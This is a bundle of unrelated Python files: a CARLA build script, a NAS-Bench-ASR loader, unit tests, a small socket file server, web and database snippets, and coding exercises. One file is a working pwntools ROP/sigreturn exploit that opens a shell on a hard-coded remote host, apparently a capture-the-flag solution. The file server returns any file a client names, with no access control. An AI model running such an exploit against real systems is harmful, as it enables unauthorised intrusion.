X = list(map(int, input().split()))
for x in X:
  print(F(x))


#!/usr/bin/env python3

import argparse
import datetime
import humanfriendly
import json
import logging
import os
import re
import shutil
import subprocess
import yaml

DRY_RUN = False

GIT_INFO = ['git', 'log', '--format="`%h` _"%s"_ by *%an*"', '-n 1']
GIT_TAG = ['git', 'describe', '--tags', '--dirty', '--always']

def print_out(text):
    print(text)
    logging.info(re.sub(r"\:[\S]+\:", '', str(text)).strip())

class Time(object):
    def __init__(self, seconds=0):
        self.seconds = seconds

    def __add__(self, rhs):
        return Time(self.seconds + rhs.seconds)

    def __str__(self):
        return humanfriendly.format_timespan(self.seconds)

class StopWatch(object):
    def __init__(self):
        self.start = datetime.datetime.now()
        self.end = None

    def stop(self):
        self.end = datetime.datetime.now()

    @property
    def elapsed_time(self):
        end = datetime.datetime.now() if self.end is None else self.end
        return Time((end - self.start).total_seconds())

class BuildStep(object):
    def __init__(self, command, working_dir, description='No description'):
        self.command = command if isinstance(command, list) else str(command).split(' ')
        self.description = description
        self.working_dir = working_dir
        self.exception = None
        self.stdout = None
        self.stderr = None
        self.errcode = None
        self.success = False
        self.elapsed_time = Time()

    def run(self):
        stop_watch = StopWatch()
        try:
            self.stdout, self.stderr, self.errcode = popen(self.command, self.working_dir)
            logging.info(
                '"{description}" finished with code {errcode}\n'
                '- - - stdout\n{stdout}\n'
                '- - - stderr\n{stderr}\n- - -'.format(**vars(self)))
        except Exception as exception:
            self.exception = exception
        self.elapsed_time = stop_watch.elapsed_time
        self.success = self.errcode == 0
        return self.success

    def __str__(self):
        mark = ':white_check_mark:' if self.success else ':x:'
        return ' '.join([mark, self.description, '({0})'.format(self.elapsed_time)])

    def error_message(self):
        if self.exception is not None:
            msg = '\n"{description}" failed with exception:\n```\n{exception}\n```'
        elif self.errcode != 0:
            msg = '\n"{description}" failed with error {errcode:d}:\n```\n{stdout}\n{stderr}\n```'
        return msg.format(**vars(self))

def popen(cmd, working_dir):
    kwargs = {'cwd': working_dir, 'shell': False}
    kwargs['stdout'] = subprocess.PIPE
    kwargs['stderr'] = subprocess.PIPE
    # Launch process.
    logging.debug('popen: %s', ' '.join(cmd))
    if DRY_RUN:
        return '', '', 0
    else:
        process = subprocess.Popen(cmd, **kwargs)
        out, err = process.communicate(timeout=None)
        decode = lambda x: None if x is None else x.decode('utf-8')
        return decode(out), decode(err), process.returncode

def mkdir_p(path):
    if not os.path.isdir(path):
        os.makedirs(path)

def rm(path):
    if os.path.isdir(path):
        logging.debug('rm -R %r', path)
        if not DRY_RUN:
            shutil.rmtree(path)
    if os.path.isfile(path):
        logging.debug('rm %r', path)
        if not DRY_RUN:
            os.remove(path)

def do_clean_up(folder, number_of_builds):
    if number_of_builds is None:
        return
    number_of_builds = int(number_of_builds)
    if number_of_builds < 0:
        return
    logging.debug('cleaning up output folder')
    versions = sorted(x for x in os.listdir(folder) if x.endswith('.json'))
    versions = versions[:(len(versions) - number_of_builds)]
    if not versions:
        return
    for filename in versions:
        path = os.path.join(folder, filename)
        with open(path, 'r') as fp:
            data = json.load(fp)
        rm(data['log'])
        if 'release_path' in data:
            rm(data['release_path'])
        rm(path)

def do_the_thing(args):
    try:
        do_clean_up(args.output_dir, args.number_of_builds_to_keep)

        commands = [BuildStep(**arguments) for arguments in args.build]
        logging.debug('running %d steps.', len(commands))

        # Run installation first to get git info.
        if commands[0].run():
            git_info = BuildStep(GIT_INFO, args.install_dir)
            if not git_info.run():
                raise RuntimeError('failed to get git info')
            msg = '\nBuild branch `{0}` at {1}'
            print_out(msg.format(args.branch, git_info.stdout.strip()[1:-1]))
            git_tag = BuildStep(GIT_TAG, args.install_dir)
            if not git_tag.run():
                raise RuntimeError('failed to get git tag')
            args.tag = git_tag.stdout.strip()
            logging.debug('git tag = %r', args.tag)

        print_out('')
        success = True
        total_time = Time()
        for command in commands:
            if success and command.errcode is None:
                success = command.run()
            print_out(command)
            total_time += command.elapsed_time

        print_out('\nBuild finished in %s.' % total_time)

        for command in commands:
            if not command.success:
                print_out(command.error_message())
                print_out('\nBuild failed :disappointed:')
                return

        release_name = 'CARLA_%s.tar.gz' % args.tag
        release_path = os.path.join(args.install_dir, 'Dist', release_name)
        if not os.path.isfile(release_path):
            print_out(':x: Cannot find release package :dizzy_face:')
            return
        release_dest = os.path.join(args.output_dir, release_name)
        shutil.move(release_path, release_dest)
        args.release = release_name
        args.release_path = release_dest

        args.success = True
        print_out('\nGreat! everything works :slightly_smiling_face:')

        if args.download_prefix is not None:
            args.release_link = args.download_prefix + release_name
            print_out('\nYou can download your build from %s' % args.release_link)

    finally:
        filename = os.path.join(args.output_dir, '%s.json' % args.timestamp)
        with open(filename, 'w+') as fp:
            fp.write(json.dumps(vars(args), indent=2))
        if not args.keep_intermediate:
            rm(args.install_dir)

def main():
    argparser = argparse.ArgumentParser(description=__doc__)
    argparser.add_argument(
        '-n', '--dry-run',
        action='store_true',
        help='perform a trial run')
    argparser.add_argument(
        '-b', '--branch',
        metavar='B',
        default='master',
        help='branch or tag to build')
    argparser.add_argument(
        '--keep-intermediate',
        action='store_true',
        help='keep intermediate files and folders')

    args = argparser.parse_args()

    if args.dry_run:
        global DRY_RUN
        DRY_RUN = True

    this_script_folder = os.path.dirname(os.path.realpath(__file__))

    with open(os.path.join(this_script_folder, 'config.yaml'), 'r') as fp:
        config = yaml.load(fp)

    getpath = lambda x: os.path.realpath(os.path.join(this_script_folder, x))

    args.success = False
    args.repo = config['repo']
    args.timestamp = '{:%Y%m%d%H%M%S}'.format(datetime.datetime.now())
    args.build_dir = getpath(config.get('build_dir', '../_intermediate'))
    args.install_dir = os.path.join(args.build_dir, args.timestamp)
    args.output_dir = getpath(config.get('output_dir', '../_builds'))
    args.log = os.path.join(args.output_dir, '%s.log' % args.timestamp)
    args.number_of_builds_to_keep = config.get('number_of_builds_to_keep', None)
    args.download_prefix = config.get('download_prefix', None)

    parse = lambda x: dict((k, v.format(**vars(args))) for k, v in x.items())
    args.build = [parse(step) for step in config['build']]

    mkdir_p(args.build_dir)
    mkdir_p(args.install_dir)
    mkdir_p(args.output_dir)

    logging_config = {
        'format': '%(levelname)s: %(message)s',
        'level': logging.DEBUG,
        'filename': args.log,
        'filemode': 'w+'
    }
    logging.basicConfig(**logging_config)

    do_the_thing(args)

if __name__ == '__main__':

    try:
        main()
    except KeyboardInterrupt:
        print_out('\nCancelled by user. Bye!')


import numpy as np
from .nasbench_asr.dataset import from_folder
from nas_lib.configs import nas_bench_asr_path
import torch
from collections import Counter
import random
from copy import deepcopy
import pickle

OPS_LIST = ['linear', 'conv5', 'conv5d2', 'conv7', 'conv7d2', 'none']
OPS_CONN = ['none', 'skip_connect']
OPS = ['linear', 'conv5', 'conv5d2', 'conv7', 'conv7d2', 'none', 'skip_connect']
OPS_TOTAL = ['input', 'linear', 'conv5', 'conv5d2', 'conv7', 'conv7d2', 'none', 'skip_connect', 'output']
ADJ_NODES = 11
NUM_OPS = 9

class DataNasBenchASR:
    def __init__(self):
        self.search_space = 'nasbench_asr'
        self.total_archs, self.all_datas_dict, self.all_datas_key_arch, self.all_datas_arch_key, \
        self.c_mapping, self.total_len = self.load_dates()
        self.total_keys = list(self.total_archs.keys())

    def generate_random_dataset(self, num, allow_isomorphisms, deterministic_loss):
        data = []
        dic = {}
        key_list = []
        while True:
            k = random.sample(self.total_keys, 1)
            key_list.append(k[0])
            arch = self.total_archs[k[0]]
            path_encoding1 = arch[3]
            path_encoding2 = arch[-1]
            path_indices = tuple(path_encoding1)
            if allow_isomorphisms or path_indices not in dic:
                dic[path_indices] = 1
                data.append(
                    (
                        arch[0],
                        arch[1],
                        arch[2],
                        path_encoding1,
                        arch[4],
                        arch[5],
                        arch[6],
                        path_encoding2
                    )
                )
            if len(data) == num:
                break
        return data

    def mutate(self, arch_str, mutate_rate=1):
        arch_list = self.all_datas_key_arch[arch_str]
        arch_list = list(map(list, arch_list))
        which_part = random.randint(0, 1)
        while True:
            child_arch = deepcopy(arch_list)
            if mutate_rate == -1 or which_part == 0:
                block_op = random.randint(0, 2)
                xop = random.choice(OPS_LIST)
                xop_idx = OPS_LIST.index(xop)
                while xop_idx == child_arch[block_op][0]:
                    xop = random.choice(OPS_LIST)
                    xop_idx = OPS_LIST.index(xop)
                child_arch[block_op][0] = xop_idx
            if mutate_rate == -1 or which_part == 1:
                block_conn = random.randint(0, 2)
                if block_conn == 0:
                    op_idx = random.randint(0, 1)
                    while op_idx == child_arch[0][1]:
                        op_idx = random.randint(0, 1)
                    child_arch[0][1] = op_idx
                elif block_conn == 1:
                    nested_block_idx = random.randint(1, 2)
                    op_idx = random.randint(0, 1)
                    while op_idx == child_arch[1][nested_block_idx]:
                        op_idx = random.randint(0, 1)
                    child_arch[1][nested_block_idx] = op_idx
                else:
                    nested_block_idx = random.randint(1, 3)
                    op_idx = random.randint(0, 1)
                    while op_idx == child_arch[2][nested_block_idx]:
                        op_idx = random.randint(0, 1)
                    child_arch[2][nested_block_idx] = op_idx

            child_arch_tuple = tuple(list(map(tuple, child_arch)))
            if child_arch_tuple in self.all_datas_arch_key:
                return self.total_archs[self.all_datas_arch_key[child_arch_tuple]]

    def get_candidates(self,
                       data,
                       num=100,
                       allow_isomorphisms=False,
                       patience_factor=5,
                       num_best_arches=10,
                       mutation_rate=1):
        """
        Creates a set of candidate architectures with mutated and/or random architectures
        """
        # test for isomorphisms using a hash map of path indices
        candidates = []
        dic = {}
        for d in data:
            path_indices = self.get_path_indices(d[1], d[2])
            dic[path_indices] = 1

        best_arches = [arch for arch in sorted(data,
                                               key=lambda i: i[4])[:num_best_arches * patience_factor]]

        # stop when candidates is size num
        # use patience_factor instead of a while loop to avoid long or infinite runtime
        for idx, arch in enumerate(best_arches):
            if len(candidates) >= num:
                break
            for i in range(num):
                mutated = self.mutate(arch[6], mutate_rate=mutation_rate)
                path_indices = self.get_path_indices(mutated[1], mutated[2])

                if allow_isomorphisms or path_indices not in dic:
                    dic[path_indices] = 1
                    candidates.append(mutated)
        return candidates[:num]

    def get_arch_info_key(self, arch_info):
        return tuple(list(map(tuple, arch_info)))

    def load_dates(self):
        total_arch_data = {}
        total_val_data = []
        total_test_data = []
        all_data = from_folder(nas_bench_asr_path)
        all_datas = all_data.dbs
        all_datas_dict = {}
        all_datas_key_arch = {}
        all_datas_arch_key = {}
        for k, v in all_datas[0].items():
            if k not in all_datas_dict:
                all_datas_dict[k] = [[v[0][-1]], [v[-2]], v[-1]]
                all_datas_key_arch[k] = v[-1]
                all_datas_arch_key[self.get_arch_info_key(v[-1])] = k

        for data_list in all_datas[1:]:
            for k, v in data_list.items():
                all_datas_dict[k][0].append(v[0][-1])
                all_datas_dict[k][1].append(v[-2])

        for k, v in all_datas_key_arch.items():
            all_datas_dict[k][0] = np.mean(np.array(all_datas_dict[k][0]))
            all_datas_dict[k][1] = np.mean(np.array(all_datas_dict[k][1]))

        for k, v in all_datas_dict.items():
            adj_matrix, ops = self.arch2dat(v[-1])
            path_based_indices = self.get_path_indices(adj_matrix, ops)
            data = [
                [adj_matrix, ops],
                adj_matrix,  # store adjacency matrix
                ops,  # store ops list ['input', 'fc', 'output']
                path_based_indices,  # path based encoding
                v[0],
                v[1],
                k,
                self.adj_ops_encoding(adj_matrix, ops),  # store path encoding
            ]
            total_arch_data[k] = data
            total_val_data.append(v[0])
            total_test_data.append(v[1])
        total_arch_data, c_mapping, total_len = self.remapping_path_based_encoding(total_arch_data)
        min_validate_val = min(total_val_data)
        min_val_idx = total_val_data.index(min_validate_val)
        print(f'min val data value is {min_validate_val}, corr min test data is {total_test_data[min_val_idx]}, '
              f'and the min test val is {min(total_test_data)}')
        return total_arch_data, all_datas_dict, all_datas_key_arch, all_datas_arch_key, c_mapping, total_len

    def remapping_path_based_encoding(self, total_arch_data):
        all_idxs = [v[3] for k, v in total_arch_data.items()]
        all_idxs_00 = []
        for v in all_idxs:
            all_idxs_00.extend(v)
        c_0_dict = dict(Counter(all_idxs_00))
        c_0_mapping = {}
        for idx, k in enumerate(c_0_dict.keys()):
            c_0_mapping[k] = idx
        total_0 = len(c_0_mapping)
        for k, v in total_arch_data.items():
            path_idxs_0 = v[3]
            path_encoding = np.zeros((total_0), dtype=np.int16)
            for vp in path_idxs_0:
                path_encoding[c_0_mapping[vp]] = 1
            v[3] = path_encoding
            total_arch_data[k] = v
        return total_arch_data, c_0_mapping, total_0

    def arch2dat(self, arch_info):
        adj_matrix = np.zeros((ADJ_NODES, ADJ_NODES), dtype=np.int16)
        node_1_op = OPS_LIST[arch_info[0][0]]
        node_2_op = OPS_LIST[arch_info[0][1]]
        node_3_op = OPS_LIST[arch_info[1][1]]
        node_4_op = OPS_LIST[arch_info[2][1]]

        node_5_op = OPS_LIST[arch_info[1][0]]
        node_6_op = OPS_LIST[arch_info[1][2]]
        node_7_op = OPS_LIST[arch_info[2][2]]

        node_8_op = OPS_LIST[arch_info[2][0]]
        node_9_op = OPS_LIST[arch_info[2][3]]

        ops = ['input', node_1_op, node_2_op, node_3_op, node_4_op, node_5_op,
               node_6_op, node_7_op, node_8_op, node_9_op, 'output']

        adj_matrix[0, 1] = 1
        adj_matrix[0, 2] = 1
        adj_matrix[0, 3] = 1
        adj_matrix[0, 4] = 1

        adj_matrix[1, 5] = 1
        adj_matrix[1, 6] = 1
        adj_matrix[1, 7] = 1

        adj_matrix[2, 5] = 1
        adj_matrix[2, 6] = 1
        adj_matrix[2, 7] = 1

        adj_matrix[3, 8] = 1
        adj_matrix[5, 8] = 1
        adj_matrix[6, 8] = 1

        adj_matrix[3, 9] = 1
        adj_matrix[5, 9] = 1
        adj_matrix[6, 9] = 1

        adj_matrix[4, 10] = 1
        adj_matrix[7, 10] = 1
        adj_matrix[8, 10] = 1
        adj_matrix[9, 10] = 1

        return adj_matrix, ops

    def get_paths(self, matrix, ops):
        """
        return all paths from input to output
        """
        paths = []
        for j in range(0, ADJ_NODES):
            paths.append([[]]) if matrix[0][j] else paths.append([])

        # create paths sequentially
        for i in range(1, ADJ_NODES - 1):
            for j in range(1, ADJ_NODES):
                if matrix[i][j]:
                    for path in paths[i]:
                        paths[j].append([*path, ops[i]])
        return paths[-1]

    def get_path_indices(self, matrix, ops):
        paths = self.get_paths(matrix, ops)
        mapping = {'linear': 0,
                   'conv5': 1,
                   'conv5d2': 2,
                   'conv7': 3,
                   'conv7d2': 4,
                   'none': 5,
                   'skip_connect': 6
                   }
        path_indices = []
        for path in paths:
            index = 0
            for i in range(ADJ_NODES - 1):
                if i == len(path):
                    path_indices.append(index)
                    break
                else:
                    index += len(mapping) ** i * (mapping[path[i]] + 1)
        return tuple(path_indices)

    def path_based_encoding(self, adj_matrix, ops):
        path_indices = self.get_path_indices(adj_matrix, ops)
        path_encoding = np.zeros((self.total_len), dtype=np.int16)
        for index in path_indices:
            path_encoding[self.c_mapping[index]] = 1
        return path_encoding

    def adj_ops_encoding(self, adj_matrix, ops):
        encoding_length = (ADJ_NODES ** 2 - ADJ_NODES) // 2 + ADJ_NODES * len(OPS_TOTAL)
        encoding = np.zeros((encoding_length), dtype=np.int16)
        n = 0
        for i in range(ADJ_NODES - 1):
            for j in range(i + 1, ADJ_NODES):
                encoding[n] = adj_matrix[i][j]
                n += 1
        for i in range(ADJ_NODES):
            op_idx = OPS_TOTAL.index(ops[i])
            encoding[n + op_idx] = 1
            n += len(OPS_TOTAL)
        return tuple(encoding)

    def nasbench2graph2(self, data):
        matrix, ops = data[0], data[1]
        node_feature = torch.zeros(ADJ_NODES, len(OPS_TOTAL))
        edges = int(np.sum(matrix))
        edge_idx = torch.zeros(2, edges)
        counter = 0
        for i in range(ADJ_NODES):
            idx = OPS_TOTAL.index(ops[i])
            node_feature[i, idx] = 1
            for j in range(ADJ_NODES):
                if matrix[i, j] == 1:
                    edge_idx[0, counter] = i
                    edge_idx[1, counter] = j
                    counter += 1
        return edge_idx, node_feature

    def get_arch_list(self,
                      aux_file_path,
                      distance=None,
                      iteridx=0,
                      num_top_arches=5,
                      max_edits=20,
                      num_repeats=5,
                      random_encoding='adj',
                      verbose=0):
        # Method used for gp_bayesopt

        # load the list of architectures chosen by bayesopt so far
        base_arch_list = pickle.load(open(aux_file_path, 'rb'))
        top_arches = [archtuple[0] for archtuple in base_arch_list[:num_top_arches]]
        if verbose:
            top_5_loss = [archtuple[1][0] for archtuple in base_arch_list[:min(5, len(base_arch_list))]]
            print('top 5 val losses {}'.format(top_5_loss))

        # # perturb the best k architectures
        # dic = {}
        # for archtuple in base_arch_list:
        #     arch = {'matrix': self.total_archs[archtuple[0]['string']][0][0],
        #             'ops': self.total_archs[archtuple[0]['string']][0][1]}
        #     # path_indices = Cell(**arch).get_path_indices()
        #     dic[path_indices] = 1
        #
        # new_arch_list = []
        # for arch in top_arches:
        #     for edits in range(1, max_edits):
        #         for _ in range(num_repeats):
        #             #perturbation = Cell(**arch).perturb(self.nasbench, edits)
        #             perturbation = self.mutate_edit(arch['string'])
        #             perturbation_arch = self.total_archs[perturbation][0]
        #             # path_indices = Cell(matrix=perturbation_arch[0], ops=perturbation_arch[1]).get_path_indices()
        #             if path_indices not in dic:
        #                 dic[path_indices] = 1
        #                 new_arch_list.append({'string': perturbation})
        #
        # # make sure new_arch_list is not empty
        # while len(new_arch_list) == 0:
        #     for _ in range(100):
        #         random_arch_str = self.random_arch().tostr()
        #         random_arch = self.total_archs[random_arch_str][0]
        #         # path_indices = Cell(matrix=random_arch[0], ops=random_arch[1]).get_path_indices()
        #         if path_indices not in dic:
        #             dic[path_indices] = 1
        #             new_arch_list.append({'string': random_arch_str})

        return None


#!/usr/bin/env python
from pwn import *

context.binary = elf = ELF('system_drop')
# p = process(elf.path)
# gdb.attach(p, 'init-gef')
p = remote("139.59.185.150", 32076)

pop_rdi = 0x00000000004005d3
pop_rsi_r15 = 0x00000000004005d1
pop_rsp_r13_r14_r15 = 0x00000000004005cd
syscall = 0x000000000040053b

data_location = elf.bss(0x40) - 8

offset_data = "A" * 40
payload = offset_data + flat(
    pop_rdi, 0,
    pop_rsi_r15, data_location, 0,
    elf.plt['read'],
    # stack pivot since I need more space for SigreturnFrame
    pop_rsp_r13_r14_r15,
    # i dont care what it puts in r13, r14, r15
    data_location - (8 * 3)
)

sigreturn_num = 15

frame = SigreturnFrame(kernel='amd64')
frame.rdi = data_location + 0x200
frame.rsi = 0
frame.rdx = 0
frame.rax = 59 # sys_execve
frame.rip = 0x00400537
frame.rsp = data_location + 0x100

p.send(payload.ljust(0x100, 'A'))

payload2 = flat(
    pop_rdi, 0,
    pop_rsi_r15, data_location + 0x200, 0,
    elf.plt['read'],
    syscall
)
payload2 += str(frame)

p.send(payload2[:256])

p.send("/bin/sh\x00".ljust(sigreturn_num, 'A'))

p.interactive()


# Definition for a binary tree node.

null = None

from typing import Optional, List

class TreeNode:
   def __init__(self, val=0, left=None, right=None):
       self.val = val
       self.left = left
       self.right = right

class Solution:

    result = []

    def preorderTraversal(self, root: Optional[TreeNode]) -> List[int]:
        self.result.append(root.val)

        if root.left:
            self.preorderTraversal(root.left)

        if root.right:
            self.preorderTraversal(root.right)

        return self.result

if __name__ == "__main__":
    s = Solution()

    #  print(s.preorderTraversal([1,null,2,3]))


# -*- coding: utf-8 -*-
'''
    :codeauthor: Jayesh Kariya <jayeshk@saltstack.com>
'''

from tests.support.mixins import LoaderModuleMockMixin
from tests.support.unit import TestCase, skipIf
from tests.support.mock import (
    MagicMock,
    patch,
    Mock,
    NO_MOCK,
    NO_MOCK_REASON
)

import hubblestack.modules.win_network as win_network

try:
    import wmi
    HAS_WMI = True
except ImportError:
    HAS_WMI = False

@skipIf(NO_MOCK, NO_MOCK_REASON)
class WinNetworkTestCase(TestCase, LoaderModuleMockMixin):
    '''
    Test cases for hubblestack.modules.win_network
    '''
    def setup_loader_modules(self):
        self.WMI = Mock()
        self.addCleanup(delattr, self, 'WMI')
        return {win_network: {}}

    # 'netstat' function tests: 1

    def test_netstat(self):
        '''
        Test if it return information on open ports and states
        '''
        ret = ('  Proto  Local Address    Foreign Address    State    PID\n'
               '  TCP    127.0.0.1:1434    0.0.0.0:0    LISTENING    1728\n'
               '  UDP    127.0.0.1:1900    *:*        4240')
        mock = MagicMock(return_value=ret)
        with patch.dict(win_network.__mods__, {'cmd.run': mock}):
            self.assertListEqual(win_network.netstat(),
                                 [{'local-address': '127.0.0.1:1434',
                                   'program': '1728', 'proto': 'TCP',
                                   'remote-address': '0.0.0.0:0',
                                   'state': 'LISTENING'},
                                  {'local-address': '127.0.0.1:1900',
                                   'program': '4240', 'proto': 'UDP',
                                   'remote-address': '*:*', 'state': None}])


import socket, os
PORTA = 8881
socket_servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = socket.gethostname()
socket_servidor.bind((host, PORTA))

socket_servidor.listen()
print("Servidor de nome", host, "esperando conexão na porta", PORTA)
while True:
    # Aceita alguma conexão
    (socket_cliente,addr) = socket_servidor.accept()
    print("Conectado a:", str(addr))
    # Recebe pedido do cliente:
    msg = socket_cliente.recv(2048)
    nome_arq = msg.decode('ascii')
    print(nome_arq)
    if os.path.isfile(nome_arq):
        # Envia primeiro o tamanho
        tamanho = os.stat(nome_arq).st_size
        print(tamanho)
        socket_cliente.send(str(tamanho).encode('ascii'))
        # Abre o arquivo no modo leitura de bytes
        arq = open(nome_arq, 'rb')
        # Envia os dados
        info_bytes = arq.read(4096)
        while info_bytes:
            socket_cliente.send(info_bytes)
            info_bytes = arq.read(4096)
        # Fecha o arquivo
        arq.close()
    else:
        print("Não encontrou o arquivo")
        # tamanho é -1 para indicar que não achou arquivo
        socket_cliente.send(b'-1')
    # Fecha o socket cliente
    socket_cliente.close()
    # Fecha o socket servidor
socket_servidor.close()


import sys
import torch
import torch.nn as nn

sys.path.insert(0, '../')
from query_depth_point.query_depth_point import QueryDepthPoint

xyz1 = torch.rand(2, 3, 50) * 2 - 1

xyz2 = torch.index_select(xyz1, 2, torch.arange(10).long())

batch_size = xyz1.shape[0]
mask = torch.zeros(batch_size, xyz2.shape[2], xyz1.shape[2])
for i in range(batch_size):
    for j in range(xyz2.shape[2]):
        x1, y1, z1 = xyz2[i, :, j]
        inside = (torch.abs(xyz1[i, 2] - z1) < 0.2)
        mask[i, j] = inside

xyz1 = xyz1.float().cuda()
xyz2 = xyz2.float().cuda()

net = QueryDepthPoint(0.2, 4).cuda()

idx, pts_idx = net(xyz1, xyz2)
print(idx[0])
print(pts_idx)
print(torch.nonzero(mask[0]))


import datetime as dt

from sqlalchemy import Boolean, DateTime, ForeignKey, Integer
from sqlalchemy.orm import Mapped, mapped_column, relationship

from bot.database.base import UserRelatedModel

class Laundry(UserRelatedModel):
    """Модель для хранения таймера прачечной одного пользователя."""

    __tablename__ = "laundries"

    id: Mapped[int] = mapped_column(
        Integer,
        primary_key=True,
        autoincrement=True,
        unique=True,
        nullable=False,
    )
    user_id: Mapped[int] = mapped_column(
        ForeignKey("users.user_id"),
        unique=True,
        nullable=False,
    )

    # Когда таймер должен закончиться
    end_time: Mapped[dt.datetime | None] = mapped_column(
        DateTime,
        nullable=True,
    )
    # Сколько раз было уведомление
    rings: Mapped[int | None] = mapped_column(
        Integer,
        default=0,
        nullable=True,
    )
    # Активен ли таймер
    is_active: Mapped[bool | None] = mapped_column(
        Boolean,
        default=False,
        nullable=True,
    )

    user = relationship("User", back_populates="laundry", lazy="selectin")


from fastapi import FastAPI
import data

app = FastAPI()

@app.get("/employee")
async def employee(id: int = 0):
    employees = data.get_employee(id)
    for employee in employees:
        employee['fullName'] = f"{employee['firstName']} {employee['lastName']}"
    return employees

@app.get("/product")
async def product(id: int = 0):
    return data.get_product(id)

@app.get("/supplier")
async def supplier(id: int = 0):
    return data.get_supplier(id)


import random
myNumber= random.randint(1,10)
print("I am thinking of a number between 1 and 10. Make a guess!")

for guessesMade in range (1, 7):
    guess = int(input())
    if guess<myNumber:
        print("you guessed too low")
    elif guess>myNumber:
        print("you guessed too high")
    else:
        break

if guess == myNumber:
    print(f"That's right! You guessed the number in {guessesMade} attempts")
else:
    print(f"you have exhausted your attempts. Sorry.")


def minSteps(piles):
  if len(piles) < 1:
    return 0

  piles.sort()

  steps = 0
  distinctNums = 0
  for i in range(1, len(piles)):
    print(piles[i])
    print(piles[i-1])
    if piles[i] == piles[i-1]:
      steps += distinctNums
    else:
      distinctNums += 1
      steps += distinctNums

  return steps

# x = [5, 3, 2]
# y = [5, 5, 3, 2]
# z = [6, 6, 5, 5, 2, 1]
# a = [3, 2, 1]